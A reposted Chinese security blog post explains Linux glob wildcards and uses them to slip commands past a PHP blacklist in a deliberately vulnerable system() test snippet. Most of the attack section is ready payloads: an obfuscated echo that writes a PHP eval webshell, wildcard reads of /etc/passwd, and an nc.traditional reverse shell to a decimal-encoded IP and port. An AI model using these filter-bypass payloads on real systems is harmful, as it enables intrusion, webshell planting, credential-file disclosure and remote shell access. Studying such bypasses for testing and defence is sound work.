php 长文件名 绕过,安全杂谈——linux通配符绕过文件名黑名单

本文转载在订阅号 安全初心,欢迎关注。

原创: hl0rey 安全初心 5月27日

glob 模式(globbing)也被称之为 shell 通配符,名字的起源来自于 Unix V6 中的 /etc/glob (详见 man 文档)。glob 是一种特殊的模式匹配,最常见的是通配符拓展,也可以将 glob 模式设为精简了的正则表达式,在最新的 CentOS 7 中已经删除了 glob 的相关描述文档,删除的原因由于 glob 已经整合到了 shell 之中,然后就有了 shell 通配符。注:shell 通配符 / glob 模式通常用来匹配目录以及文件,而不是文本!!!

目录

原理介绍

测试代码

几个小例子

写入webshell

读取/etc/passwd文件

nc反弹shell

总结与思考

一. 原理介绍

linux shell下可以通过正则匹配来匹配相应的程序并且执行。 在linux下输入man 7 glob命令可以查看相关的内容。值得注意的就这些,学过正则的一下就懂了。 完整翻译

https://www.cnblogs.com/divent/archive/2016/08/11/5762154.html

语法

00c3597df72d626656958afd54a00453.png

专用字符集

e2444c547affd5690eefb81602e8ccc2.png

根据介绍,假设我们要执行ls命令,那么就有如下几种变形方式:

/???/[l]s

/???/[:alnum:]s

/???/[:lower:]s

385134aea1d5543a510ca431fe9c8d40.png

二. 测试代码

假设碰到了一个目标系统为linux,且php的代码执行漏洞,但是有相应的过滤,测试代码如下:

$cmd=$_REQUEST['cmd'];

echo'cmd is:'.$cmd.'
';

if(preg_match('/echo|cat|ls|nc/is',$cmd)){

die('you bad bad.');

}

system($cmd);

?>

2.1 几个小例子

通晓原理之后可以随意变形,这里只给出几个小例子。

2.1.1 写入webshell

原本的payload

cmd=/bin/echo"<?php eval($_POST['cmd'])?>">1.php

变形后的payload:

cmd=/???/e???"<?php eval($_POST['cmd'])?>">1.php

f02bd1b35f9402fea0a49735cdd8fe1d.png双引号内没有内容是因为尖括号内的内容被当作xml代码解析了,查看网页源代码即可看到原本的内容。

2.1.2 读取/etc/passwd文件

原本的payload:

cmd=/bin/cat /etc/passwd

变形后的payload:

cmd=/???/ca?/etc/passwd

或者

cmd=/???/ca?/etc/pass??

再或者

cmd=/???/ca?/???/p?????

13d4317221a67259fe29b25f452e0d7d.png

2.1.3 nc反弹shell

这个地方加大一下难度,把测试代码改为(把点也过滤掉):

$cmd=$_REQUEST['cmd'];

echo'cmd is:'.$cmd.'
';

if(preg_match('/echo|cat|ls|nc|\./is',$cmd)){

die('you bad bad.');

}

system($cmd);

?>

nc.traditional是nc的原始版本有-e参数。由于过滤了点,所以我们不能在ip地址里出现点,所以我们要把ip转换一下。随便找个在线转换的网站,当然你口算也可以。

http://ip.chacuo.net/ipcalc

点分十进制转十进制 原本的payload:

nc.traditional127.0.0.14444&

先开启一个监听

e7bff2e8cb27c2934d118da89f072c91.png

变形后的payload :

/???/?c???????????? -e /???/b??h21307064334444&

运行一下:

4f6715a4ee133c57d827262ad59823ba.png

正常执行命令:

1be967ab904bd136eaa213128ad596a4.png

三. 总结与思考

linux下执行命令都能用正则,真是太方便了,果然linux比windows好用。 2.在执行命令的时候面目全非的命令都能执行也是很强大。 3.windows下在做目录搜索的时候也能用通配符,但是不如linux下的这么有趣,所以还是linux系统好啊。 4.值得一提的是,当一个正则匹配多个程序的时候,linux会把每个匹配的程序都执行一遍,这个是利是弊就看你怎么利用了。

-------------------------------------------------

本文转载自订阅号“安全初心”,欢迎关注

---------------------------------------------------------

更多精彩内容,欢迎关注玄魂工作室。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值